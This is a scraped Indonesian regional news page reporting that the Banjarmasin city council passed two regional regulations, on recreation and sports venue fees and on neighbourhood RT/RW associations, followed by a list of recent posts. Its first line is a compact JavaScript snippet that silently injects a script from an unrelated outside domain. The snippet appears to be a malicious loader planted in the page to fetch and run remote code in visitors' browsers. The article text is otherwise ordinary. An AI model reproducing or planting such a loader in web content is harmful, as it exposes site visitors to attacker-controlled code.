(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Kota Banjarmasin Sahkan Dua Raperda


BANJARMASIN, DPRD Kota Banjarmasin kembali menggelar kegiatan Paripurna Tingkat II dengan agenda pengesahan dua Rancangan Peraturan Daerah (Raperda). Adapun dua Raperda yang disahkan yaitu Peraturan Daerah (Perda) tentang Retribusi Tempat Rekreasi dan Olahraga serta Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 23 Tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) di Wilayah Kota Banjarmasin.

“Dengan sudah disahkannya dua Perda tersebut. Maka ini bisa menjadi pembuktian bahwa Anggota DPRD Kota Banjarmasin tetap propesional dalam mengemban tugas kedewanan, walau pun disisi lain kami juga harus bekerja keras dalam menghadapi Pemilu Legislatif dan Presiden Tahun 2019 yang sudah kian dekat,” ungkap Ketua DPRD Kota Banjarmasin Hj Ananda, Senin (18/3) disela kegiatan Paripurna di Aula DPRD Kota Banjarmasin.

Terkait harapan terhadap dua Raperda yang disahkan menjadi Perda sendiri, untuk Perda tentang Retribusi Tempat Rekreasi dan Olahraga diharapkannya bisa menjadi sumber baru bagi Pemerintah Kota (Pemko) Banjarmasin dalam meningkatkan Pendapatan Asli Daerah (PAD) untuk mendorong pelayanan publik dan pembangunan infrastruktur yang lebih baik di Kota Banjarmasin.

Kemudian untuk Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 23 Tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan RT dan RW di Wilayah Kota Banjarmasin diharapkannya juga dapat menjadi payung hukum dalam meningkatkan kesejahteraan bagi perangkat RT dan RW di Kota Banjarmasin.

“Kami juga akan terus mendorong Raperda lainnya yang masih dalam tahap pembahasan agar bisa segera diselesaikan. Hal ini agar target Perda yang bisa kami rampungkan pada Tahun 2019 dapat sesuai dengan yang ditargetkan” tambahnya.

Dalam kegiatan Paripurna kali ini, juga digelar kegiatan Paripurna Tingkat I dengan agenda penyampaian bahan Laporan Keterangan Pertanggungjawaban Walikota Banjarmasin Tahun 2018 dan penyampaian tiga buah Raperda prakarsa Pemerintah Kota Banjarmasin yaitu Raperda tentang Pembangunan Kawasan Industri Kota Banjarmasin, kemudian Perubahan atas Perda Kota Banjarmasin Nomor 21 Tahun 2014 tentang Administrasi Kependudukan dan Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 13 Tahun 2012 tentang Retribusi Pelayanan Pasar. (arief)

Reporter:Arief
Editor:Cell

Desy Arfianty

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

44 menit ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

3 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

18 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

19 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

20 jam ago

This website uses cookies.